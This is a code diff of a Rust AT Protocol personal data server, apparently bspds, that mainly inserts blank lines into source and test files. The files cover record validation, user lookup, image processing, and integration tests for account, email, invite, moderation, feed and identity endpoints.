 pub fn generate_token_code() -> String {
     generate_token_code_parts(2, 5)
 }
+
 pub fn generate_token_code_parts(parts: usize, part_len: usize) -> String {
     let mut rng = rand::thread_rng();
     let chars: Vec<char> = BASE32_ALPHABET.chars().collect();
+
     (0..parts)
         .map(|_| {
             (0..part_len)
···
         .collect::<Vec<_>>()
         .join("-")
 }
+
 #[derive(Debug)]
 pub enum DbLookupError {
     NotFound,
     DatabaseError(sqlx::Error),
 }
+
 impl From<sqlx::Error> for DbLookupError {
     fn from(e: sqlx::Error) -> Self {
         DbLookupError::DatabaseError(e)
     }
 }
+
 pub async fn get_user_id_by_did(db: &PgPool, did: &str) -> Result<Uuid, DbLookupError> {
     sqlx::query_scalar!("SELECT id FROM users WHERE did = $1", did)
         .fetch_optional(db)
         .await?
         .ok_or(DbLookupError::NotFound)
 }
+
 pub struct UserInfo {
     pub id: Uuid,
     pub did: String,
     pub handle: String,
 }
+
 pub async fn get_user_by_did(db: &PgPool, did: &str) -> Result<UserInfo, DbLookupError> {
     sqlx::query_as!(
         UserInfo,
···
     .await?
     .ok_or(DbLookupError::NotFound)
 }
+
 pub async fn get_user_by_identifier(db: &PgPool, identifier: &str) -> Result<UserInfo, DbLookupError> {
     sqlx::query_as!(
         UserInfo,
···
     .await?
     .ok_or(DbLookupError::NotFound)
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_generate_token_code() {
         let code = generate_token_code();
         assert_eq!(code.len(), 11);
         assert!(code.contains('-'));
+
         let parts: Vec<&str> = code.split('-').collect();
         assert_eq!(parts.len(), 2);
         assert_eq!(parts[0].len(), 5);
         assert_eq!(parts[1].len(), 5);
+
         for c in code.chars() {
             if c != '-' {
                 assert!(BASE32_ALPHABET.contains(c));
             }
         }
     }
+
     #[test]
     fn test_generate_token_code_parts() {
         let code = generate_token_code_parts(3, 4);
         let parts: Vec<&str> = code.split('-').collect();
         assert_eq!(parts.len(), 3);
+
         for part in parts {
             assert_eq!(part.len(), 4);
         }

src/validation/mod.rs

···
 use serde_json::Value;
 use thiserror::Error;
+
 #[derive(Debug, Error)]
 pub enum ValidationError {
     #[error("No $type provided")]
···
     #[error("Unknown record type: {0}")]
     UnknownType(String),
 }
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum ValidationStatus {
     Valid,
     Unknown,
     Invalid,
 }
+
 pub struct RecordValidator {
     require_lexicon: bool,
 }
+
 impl Default for RecordValidator {
     fn default() -> Self {
         Self::new()
     }
 }
+
 impl RecordValidator {
     pub fn new() -> Self {
         Self {
             require_lexicon: false,
         }
     }
+
     pub fn require_lexicon(mut self, require: bool) -> Self {
         self.require_lexicon = require;
         self
     }
+
     pub fn validate(
         &self,
         record: &Value,
···
         }
         Ok(ValidationStatus::Valid)
     }
+
     fn validate_post(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("text") {
             return Err(ValidationError::MissingField("text".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_profile(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if let Some(display_name) = obj.get("displayName").and_then(|v| v.as_str()) {
             let grapheme_count = display_name.chars().count();
···
         }
         Ok(())
     }
+
     fn validate_like(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("subject") {
             return Err(ValidationError::MissingField("subject".to_string()));
···
         self.validate_strong_ref(obj.get("subject"), "subject")?;
         Ok(())
     }
+
     fn validate_repost(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("subject") {
             return Err(ValidationError::MissingField("subject".to_string()));
···
         self.validate_strong_ref(obj.get("subject"), "subject")?;
         Ok(())
     }
+
     fn validate_follow(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("subject") {
             return Err(ValidationError::MissingField("subject".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_block(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("subject") {
             return Err(ValidationError::MissingField("subject".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_list(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("name") {
             return Err(ValidationError::MissingField("name".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_list_item(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("subject") {
             return Err(ValidationError::MissingField("subject".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_feed_generator(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("did") {
             return Err(ValidationError::MissingField("did".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_threadgate(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("post") {
             return Err(ValidationError::MissingField("post".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_labeler_service(&self, obj: &serde_json::Map<String, Value>) -> Result<(), ValidationError> {
         if !obj.contains_key("policies") {
             return Err(ValidationError::MissingField("policies".to_string()));
···
         }
         Ok(())
     }
+
     fn validate_strong_ref(&self, value: Option<&Value>, path: &str) -> Result<(), ValidationError> {
         let obj = value
             .and_then(|v| v.as_object())
···
         Ok(())
     }
 }
+
 fn validate_datetime(value: &str, path: &str) -> Result<(), ValidationError> {
     if chrono::DateTime::parse_from_rfc3339(value).is_err() {
         return Err(ValidationError::InvalidDatetime {
···
     }
     Ok(())
 }
+
 pub fn validate_record_key(rkey: &str) -> Result<(), ValidationError> {
     if rkey.is_empty() {
         return Err(ValidationError::InvalidRecord("Record key cannot be empty".to_string()));
···
     }
     Ok(())
 }
+
 pub fn validate_collection_nsid(collection: &str) -> Result<(), ValidationError> {
     if collection.is_empty() {
         return Err(ValidationError::InvalidRecord("Collection NSID cannot be empty".to_string()));
···
     }
     Ok(())
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
     use serde_json::json;
+
     #[test]
     fn test_validate_post() {
         let validator = RecordValidator::new();
···
             ValidationStatus::Valid
         );
     }
+
     #[test]
     fn test_validate_post_missing_text() {
         let validator = RecordValidator::new();
···
         });
         assert!(validator.validate(&invalid_post, "app.bsky.feed.post").is_err());
     }
+
     #[test]
     fn test_validate_type_mismatch() {
         let validator = RecordValidator::new();
···
         let result = validator.validate(&record, "app.bsky.feed.post");
         assert!(matches!(result, Err(ValidationError::TypeMismatch { .. })));
     }
+
     #[test]
     fn test_validate_unknown_type() {
         let validator = RecordValidator::new();
···
             ValidationStatus::Unknown
         );
     }
+
     #[test]
     fn test_validate_unknown_type_strict() {
         let validator = RecordValidator::new().require_lexicon(true);
···
         let result = validator.validate(&record, "com.example.custom");
         assert!(matches!(result, Err(ValidationError::UnknownType(_))));
     }
+
     #[test]
     fn test_validate_record_key() {
         assert!(validate_record_key("valid-key_123").is_ok());
···
         assert!(validate_record_key("").is_err());
         assert!(validate_record_key("invalid/key").is_err());
     }
+
     #[test]
     fn test_validate_collection_nsid() {
         assert!(validate_collection_nsid("app.bsky.feed.post").is_ok());

tests/actor.rs

···
 mod common;
 use common::{base_url, client, create_account_and_login};
 use serde_json::{json, Value};
+
 #[tokio::test]
 async fn test_get_preferences_empty() {
     let client = client();
···
     assert!(body.get("preferences").is_some());
     assert!(body["preferences"].as_array().unwrap().is_empty());
 }
+
 #[tokio::test]
 async fn test_get_preferences_no_auth() {
     let client = client();
···
         .unwrap();
     assert_eq!(resp.status(), 401);
 }
+
 #[tokio::test]
 async fn test_put_preferences_success() {
     let client = client();
···
     assert!(adult_pref.is_some());
     assert_eq!(adult_pref.unwrap()["enabled"], true);
 }
+
 #[tokio::test]
 async fn test_put_preferences_no_auth() {
     let client = client();
···
         .unwrap();
     assert_eq!(resp.status(), 401);
 }
+
 #[tokio::test]
 async fn test_put_preferences_missing_type() {
     let client = client();
···
     let body: Value = resp.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_put_preferences_invalid_namespace() {
     let client = client();
···
     let body: Value = resp.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_put_preferences_read_only_rejected() {
     let client = client();
···
     let body: Value = resp.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_put_preferences_replaces_all() {
     let client = client();
···
     assert_eq!(prefs_arr.len(), 1);
     assert_eq!(prefs_arr[0]["$type"], "app.bsky.actor.defs#threadViewPref");
 }
+
 #[tokio::test]
 async fn test_put_preferences_saved_feeds() {
     let client = client();
···
     assert_eq!(saved_feeds["$type"], "app.bsky.actor.defs#savedFeedsPrefV2");
     assert!(saved_feeds["items"].as_array().unwrap().len() == 1);
 }
+
 #[tokio::test]
 async fn test_put_preferences_muted_words() {
     let client = client();
···
     let prefs_arr = body["preferences"].as_array().unwrap();
     assert_eq!(prefs_arr[0]["$type"], "app.bsky.actor.defs#mutedWordsPref");
 }
+
 #[tokio::test]
 async fn test_preferences_isolation_between_users() {
     let client = client();

tests/admin_email.rs

···
 mod common;
+
 use reqwest::StatusCode;
 use serde_json::{json, Value};
 use sqlx::PgPool;
+
 async fn get_pool() -> PgPool {
     let conn_str = common::get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 #[tokio::test]
 async fn test_send_email_success() {
     let client = common::client();
···
     assert_eq!(notification.subject.as_deref(), Some("Test Admin Email"));
     assert!(notification.body.contains("Hello, this is a test email from the admin."));
 }
+
 #[tokio::test]
 async fn test_send_email_default_subject() {
     let client = common::client();
···
     assert!(notification.subject.is_some());
     assert!(notification.subject.unwrap().contains("Message from"));
 }
+
 #[tokio::test]
 async fn test_send_email_recipient_not_found() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "AccountNotFound");
 }
+
 #[tokio::test]
 async fn test_send_email_missing_content() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_send_email_missing_recipient() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_send_email_requires_auth() {
     let client = common::client();

tests/admin_invite.rs

···
 mod common;
+
 use common::*;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_admin_get_invite_codes_success() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body["codes"].is_array());
 }
+
 #[tokio::test]
 async fn test_admin_get_invite_codes_with_limit() {
     let client = client();
···
     let codes = body["codes"].as_array().unwrap();
     assert!(codes.len() <= 2);
 }
+
 #[tokio::test]
 async fn test_admin_get_invite_codes_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_disable_account_invites_success() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "InvitesDisabled");
 }
+
 #[tokio::test]
 async fn test_enable_account_invites_success() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_disable_account_invites_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_disable_account_invites_not_found() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::NOT_FOUND);
 }
+
 #[tokio::test]
 async fn test_disable_invite_codes_by_code() {
     let client = client();
···
     assert!(disabled_code.is_some());
     assert_eq!(disabled_code.unwrap()["disabled"], true);
 }
+
 #[tokio::test]
 async fn test_disable_invite_codes_by_account() {
     let client = client();
···
         assert_eq!(code["disabled"], true);
     }
 }
+
 #[tokio::test]
 async fn test_disable_invite_codes_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_admin_enable_account_invites_not_found() {
     let client = client();

tests/admin_moderation.rs

···
 mod common;
+
 use common::*;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_get_subject_status_user_success() {
     let client = client();
···
     assert_eq!(body["subject"]["$type"], "com.atproto.admin.defs#repoRef");
     assert_eq!(body["subject"]["did"], did);
 }
+
 #[tokio::test]
 async fn test_get_subject_status_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "SubjectNotFound");
 }
+
 #[tokio::test]
 async fn test_get_subject_status_no_param() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_get_subject_status_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_update_subject_status_takedown_user() {
     let client = client();
···
     assert_eq!(status_body["takedown"]["applied"], true);
     assert_eq!(status_body["takedown"]["ref"], "mod-action-123");
 }
+
 #[tokio::test]
 async fn test_update_subject_status_remove_takedown() {
     let client = client();
···
     let status_body: Value = status_res.json().await.unwrap();
     assert!(status_body["takedown"].is_null() || !status_body["takedown"]["applied"].as_bool().unwrap_or(false));
 }
+
 #[tokio::test]
 async fn test_update_subject_status_deactivate_user() {
     let client = client();
···
     assert!(status_body["deactivated"].is_object());
     assert_eq!(status_body["deactivated"]["applied"], true);
 }
+
 #[tokio::test]
 async fn test_update_subject_status_invalid_type() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_update_subject_status_no_auth() {
     let client = client();

tests/appview_integration.rs

···
 mod common;
+
 use common::{base_url, client, create_account_and_login};
 use reqwest::StatusCode;
 use serde_json::{json, Value};
+
 #[tokio::test]
 async fn test_get_author_feed_returns_appview_data() {
     let client = client();
···
         "Post text should match appview response"
     );
 }
+
 #[tokio::test]
 async fn test_get_actor_likes_returns_appview_data() {
     let client = client();
···
         "Post text should match appview response"
     );
 }
+
 #[tokio::test]
 async fn test_get_post_thread_returns_appview_data() {
     let client = client();
···
         "Post text should match appview response"
     );
 }
+
 #[tokio::test]
 async fn test_get_feed_returns_appview_data() {
     let client = client();
···
         "Post text should match appview response"
     );
 }
+
 #[tokio::test]
 async fn test_register_push_proxies_to_appview() {
     let client = client();

tests/common/mod.rs

···
 use tokio::net::TcpListener;
 use wiremock::matchers::{method, path};
 use wiremock::{Mock, MockServer, ResponseTemplate};
+
 static SERVER_URL: OnceLock<String> = OnceLock::new();
 static APP_PORT: OnceLock<u16> = OnceLock::new();
 static MOCK_APPVIEW: OnceLock<MockServer> = OnceLock::new();
+
 #[cfg(not(feature = "external-infra"))]
 use testcontainers::core::ContainerPort;
 #[cfg(not(feature = "external-infra"))]
···
 static DB_CONTAINER: OnceLock<ContainerAsync<Postgres>> = OnceLock::new();
 #[cfg(not(feature = "external-infra"))]
 static S3_CONTAINER: OnceLock<ContainerAsync<GenericImage>> = OnceLock::new();
+
 #[allow(dead_code)]
 pub const AUTH_TOKEN: &str = "test-token";
 #[allow(dead_code)]
···
 pub const AUTH_DID: &str = "did:plc:fake";
 #[allow(dead_code)]
 pub const TARGET_DID: &str = "did:plc:target";
+
 fn has_external_infra() -> bool {
     std::env::var("BSPDS_TEST_INFRA_READY").is_ok()
         || (std::env::var("DATABASE_URL").is_ok() && std::env::var("S3_ENDPOINT").is_ok())
···
         .args(&["container", "prune", "-f", "--filter", "label=bspds_test=true"])
         .output();
 }
+
 #[allow(dead_code)]
 pub fn client() -> Client {
     Client::new()
 }
+
 #[allow(dead_code)]
 pub fn app_port() -> u16 {
     *APP_PORT.get().expect("APP_PORT not initialized")
 }
+
 pub async fn base_url() -> &'static str {
     SERVER_URL.get_or_init(|| {
         let (tx, rx) = std::sync::mpsc::channel();
···
         rx.recv().expect("Failed to start test server")
     })
 }
+
 async fn setup_with_external_infra() -> String {
     let database_url = std::env::var("DATABASE_URL")
         .expect("DATABASE_URL must be set when using external infra");
···
     MOCK_APPVIEW.set(mock_server).ok();
     spawn_app(database_url).await
 }
+
 #[cfg(not(feature = "external-infra"))]
 async fn setup_with_testcontainers() -> String {
     let s3_container = GenericImage::new("minio/minio", "latest")
···
     DB_CONTAINER.set(container).ok();
     spawn_app(connection_string).await
 }
+
 #[cfg(feature = "external-infra")]
 async fn setup_with_testcontainers() -> String {
     panic!("Testcontainers disabled with external-infra feature. Set DATABASE_URL and S3_ENDPOINT.");
 }
+
 async fn setup_mock_appview(mock_server: &MockServer) {
     Mock::given(method("GET"))
         .and(path("/xrpc/app.bsky.actor.getProfile"))
···
         .mount(mock_server)
         .await;
 }
+
 async fn spawn_app(database_url: String) -> String {
     use bspds::rate_limit::RateLimiters;
     let pool = PgPoolOptions::new()
···
     });
     format!("http://{}", addr)
 }
+
 #[allow(dead_code)]
 pub async fn get_db_connection_string() -> String {
     base_url().await;
···
         }
     }
 }
+
 #[allow(dead_code)]
 pub async fn verify_new_account(client: &Client, did: &str) -> String {
     let conn_str = get_db_connection_string().await;
···
         .expect("No accessJwt in confirmSignup response")
         .to_string()
 }
+
 #[allow(dead_code)]
 pub async fn upload_test_blob(client: &Client, data: &'static str, mime: &'static str) -> Value {
     let res = client
···
     let body: Value = res.json().await.expect("Blob upload response was not JSON");
     body["blob"].clone()
 }
+
 #[allow(dead_code)]
 pub async fn create_test_post(
     client: &Client,
···
         .to_string();
     (uri, cid, rkey)
 }
+
 #[allow(dead_code)]
 pub async fn create_account_and_login(client: &Client) -> (String, String) {
     let mut last_error = String::new();

tests/delete_account.rs

···
 use reqwest::StatusCode;
 use serde_json::{Value, json};
 use sqlx::PgPool;
+
 async fn get_pool() -> PgPool {
     let conn_str = get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 async fn create_verified_account(client: &reqwest::Client, base_url: &str, handle: &str, email: &str, password: &str) -> (String, String) {
     let res = client
         .post(format!("{}/xrpc/com.atproto.server.createAccount", base_url))
···
     let jwt = verify_new_account(client, &did).await;
     (did, jwt)
 }
+
 #[tokio::test]
 async fn test_delete_account_full_flow() {
     let client = client();
···
         .expect("Failed to check session");
     assert_eq!(session_res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_delete_account_wrong_password() {
     let client = client();
···
     let body: Value = delete_res.json().await.unwrap();
     assert_eq!(body["error"], "AuthenticationFailed");
 }
+
 #[tokio::test]
 async fn test_delete_account_invalid_token() {
     let client = client();
···
     let body: Value = delete_res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidToken");
 }
+
 #[tokio::test]
 async fn test_delete_account_expired_token() {
     let client = client();
···
     let body: Value = delete_res.json().await.unwrap();
     assert_eq!(body["error"], "ExpiredToken");
 }
+
 #[tokio::test]
 async fn test_delete_account_token_mismatch() {
     let client = client();
···
     let body: Value = delete_res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidToken");
 }
+
 #[tokio::test]
 async fn test_delete_account_with_app_password() {
     let client = client();
···
         .expect("Failed to query user");
     assert!(user_row.is_none(), "User should be deleted from database");
 }
+
 #[tokio::test]
 async fn test_delete_account_missing_fields() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res3.status(), StatusCode::UNPROCESSABLE_ENTITY);
 }
+
 #[tokio::test]
 async fn test_delete_account_nonexistent_user() {
     let client = client();

tests/email_update.rs

···
 use reqwest::StatusCode;
 use serde_json::{json, Value};
 use sqlx::PgPool;
+
 async fn get_pool() -> PgPool {
     let conn_str = common::get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 async fn create_verified_account(client: &reqwest::Client, base_url: &str, handle: &str, email: &str) -> String {
     let res = client
         .post(format!("{}/xrpc/com.atproto.server.createAccount", base_url))
···
     let did = body["did"].as_str().expect("No did");
     common::verify_new_account(client, did).await
 }
+
 #[tokio::test]
 async fn test_email_update_flow_success() {
     let client = common::client();
···
     assert!(user.email_pending_verification.is_none());
     assert!(user.email_confirmation_code.is_none());
 }
+
 #[tokio::test]
 async fn test_request_email_update_taken_email() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "EmailTaken");
 }
+
 #[tokio::test]
 async fn test_confirm_email_invalid_token() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidToken");
 }
+
 #[tokio::test]
 async fn test_confirm_email_wrong_email() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["message"], "Email does not match pending update");
 }
+
 #[tokio::test]
 async fn test_update_email_success_no_token_required() {
     let client = common::client();
···
         .expect("User not found");
     assert_eq!(user.email, Some(new_email));
 }
+
 #[tokio::test]
 async fn test_update_email_same_email_noop() {
     let client = common::client();
···
         .expect("Failed to update email");
     assert_eq!(res.status(), StatusCode::OK, "Updating to same email should succeed as no-op");
 }
+
 #[tokio::test]
 async fn test_update_email_requires_token_after_pending() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "TokenRequired");
 }
+
 #[tokio::test]
 async fn test_update_email_with_valid_token() {
     let client = common::client();
···
     assert_eq!(user.email, Some(new_email));
     assert!(user.email_pending_verification.is_none());
 }
+
 #[tokio::test]
 async fn test_update_email_invalid_token() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidToken");
 }
+
 #[tokio::test]
 async fn test_update_email_already_taken() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert!(body["message"].as_str().unwrap().contains("already in use") || body["error"] == "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_update_email_no_auth() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "AuthenticationRequired");
 }
+
 #[tokio::test]
 async fn test_update_email_invalid_format() {
     let client = common::client();

tests/feed.rs

···
 mod common;
 use common::{base_url, client, create_account_and_login};
 use serde_json::json;
+
 #[tokio::test]
 async fn test_get_timeline_requires_auth() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 401);
 }
+
 #[tokio::test]
 async fn test_get_author_feed_requires_actor() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 400);
 }
+
 #[tokio::test]
 async fn test_get_actor_likes_requires_actor() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 400);
 }
+
 #[tokio::test]
 async fn test_get_post_thread_requires_uri() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 400);
 }
+
 #[tokio::test]
 async fn test_get_feed_requires_auth() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 401);
 }
+
 #[tokio::test]
 async fn test_get_feed_requires_feed_param() {
     let client = client();
···
         .unwrap();
     assert_eq!(res.status(), 400);
 }
+
 #[tokio::test]
 async fn test_register_push_requires_auth() {
     let client = client();

tests/firehose.rs

···
 use serde_json::{json, Value};
 use std::io::Cursor;
 use tokio_tungstenite::{connect_async, tungstenite};
+
 #[derive(Debug, Deserialize)]
 struct FrameHeader {
     op: i64,
     t: String,
 }
+
 #[derive(Debug, Deserialize)]
 struct CommitFrame {
     seq: i64,
···
     blobs: Vec<Cid>,
     time: String,
 }
+
 #[derive(Debug, Deserialize)]
 struct RepoOp {
     action: String,
     path: String,
     cid: Option<Cid>,
 }
+
 fn find_cbor_map_end(bytes: &[u8]) -> Result<usize, String> {
     let mut pos = 0;
     fn read_uint(bytes: &[u8], pos: &mut usize, additional: u8) -> Result<u64, String> {
···
     skip_value(bytes, &mut pos)?;
     Ok(pos)
 }
+
 fn parse_frame(bytes: &[u8]) -> Result<(FrameHeader, CommitFrame), String> {
     let header_len = find_cbor_map_end(bytes)?;
     let header: FrameHeader = serde_ipld_dagcbor::from_slice(&bytes[..header_len])
···
         .map_err(|e| format!("Failed to parse commit frame: {:?}", e))?;
     Ok((header, frame))
 }
+
 #[tokio::test]
 async fn test_firehose_subscription() {
     let client = client();

tests/firehose_validation.rs

···
 mod common;
-use common::*;
 
+use common::*;
 use cid::Cid;
 use futures::{stream::StreamExt, SinkExt};
 use iroh_car::CarReader;

tests/helpers/mod.rs

···
 use chrono::Utc;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 pub use crate::common::*;
+
 #[allow(dead_code)]
 pub async fn setup_new_user(handle_prefix: &str) -> (String, String) {
     let client = client();
···
     let new_jwt = verify_new_account(&client, &new_did).await;
     (new_did, new_jwt)
 }
+
 #[allow(dead_code)]
 pub async fn create_post(
     client: &reqwest::Client,
···
     let cid = create_body["cid"].as_str().unwrap().to_string();
     (uri, cid)
 }
+
 #[allow(dead_code)]
 pub async fn create_follow(
     client: &reqwest::Client,
···
     let cid = create_body["cid"].as_str().unwrap().to_string();
     (uri, cid)
 }
+
 #[allow(dead_code)]
 pub async fn create_like(
     client: &reqwest::Client,
···
         body["cid"].as_str().unwrap().to_string(),
     )
 }
+
 #[allow(dead_code)]
 pub async fn create_repost(
     client: &reqwest::Client,

tests/identity.rs

···
 use serde_json::{Value, json};
 use wiremock::matchers::{method, path};
 use wiremock::{Mock, MockServer, ResponseTemplate};
+
 #[tokio::test]
 async fn test_resolve_handle_success() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["did"], did);
 }
+
 #[tokio::test]
 async fn test_resolve_handle_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "HandleNotFound");
 }
+
 #[tokio::test]
 async fn test_resolve_handle_missing_param() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_well_known_did() {
     let client = client();
···
     assert!(body["id"].as_str().unwrap().starts_with("did:web:"));
     assert_eq!(body["service"][0]["type"], "AtprotoPersonalDataServer");
 }
+
 #[tokio::test]
 async fn test_create_did_web_account_and_resolve() {
     let client = client();
···
     assert_eq!(doc["verificationMethod"][0]["controller"], did);
     assert!(doc["verificationMethod"][0]["publicKeyJwk"].is_object());
 }
+
 #[tokio::test]
 async fn test_create_account_duplicate_handle() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not JSON");
     assert_eq!(body["error"], "HandleTaken");
 }
+
 #[tokio::test]
 async fn test_did_web_lifecycle() {
     let client = client();
···
     assert_eq!(record_body["value"]["displayName"], "DID Web User");
     */
 }
+
 #[tokio::test]
 async fn test_get_recommended_did_credentials_success() {
     let client = client();
···
     assert_eq!(body["services"]["atprotoPds"]["type"], "AtprotoPersonalDataServer");
     assert!(body["services"]["atprotoPds"]["endpoint"].is_string());
 }
+
 #[tokio::test]
 async fn test_get_recommended_did_credentials_no_auth() {
     let client = client();

tests/image_processing.rs

···
 use bspds::image::{ImageProcessor, ImageError, OutputFormat, THUMB_SIZE_FEED, THUMB_SIZE_FULL, DEFAULT_MAX_FILE_SIZE};
 use image::{DynamicImage, ImageFormat};
 use std::io::Cursor;
+
 fn create_test_png(width: u32, height: u32) -> Vec<u8> {
     let img = DynamicImage::new_rgb8(width, height);
     let mut buf = Vec::new();
     img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
     buf
 }
+
 fn create_test_jpeg(width: u32, height: u32) -> Vec<u8> {
     let img = DynamicImage::new_rgb8(width, height);
     let mut buf = Vec::new();
     img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg).unwrap();
     buf
 }
+
 fn create_test_gif(width: u32, height: u32) -> Vec<u8> {
     let img = DynamicImage::new_rgb8(width, height);
     let mut buf = Vec::new();
     img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif).unwrap();
     buf
 }
+
 fn create_test_webp(width: u32, height: u32) -> Vec<u8> {
     let img = DynamicImage::new_rgb8(width, height);
     let mut buf = Vec::new();
     img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP).unwrap();
     buf
 }
+
 #[test]
 fn test_process_png() {
     let processor = ImageProcessor::new();
···
     assert_eq!(result.original.width, 500);
     assert_eq!(result.original.height, 500);
 }
+
 #[test]
 fn test_process_jpeg() {
     let processor = ImageProcessor::new();
···
     assert_eq!(result.original.width, 400);
     assert_eq!(result.original.height, 300);
 }
+
 #[test]
 fn test_process_gif() {
     let processor = ImageProcessor::new();
···
     assert_eq!(result.original.width, 200);
     assert_eq!(result.original.height, 200);
 }
+
 #[test]
 fn test_process_webp() {
     let processor = ImageProcessor::new();
···
     assert_eq!(result.original.width, 300);
     assert_eq!(result.original.height, 200);
 }
+
 #[test]
 fn test_thumbnail_feed_size() {
     let processor = ImageProcessor::new();
···
     assert!(thumb.width <= THUMB_SIZE_FEED);
     assert!(thumb.height <= THUMB_SIZE_FEED);
 }
+
 #[test]
 fn test_thumbnail_full_size() {
     let processor = ImageProcessor::new();
···
     assert!(thumb.width <= THUMB_SIZE_FULL);
     assert!(thumb.height <= THUMB_SIZE_FULL);
 }
+
 #[test]
 fn test_no_thumbnail_small_image() {
     let processor = ImageProcessor::new();
···
     assert!(result.thumbnail_feed.is_none(), "Small image should not get feed thumbnail");
     assert!(result.thumbnail_full.is_none(), "Small image should not get full thumbnail");
 }
+
 #[test]
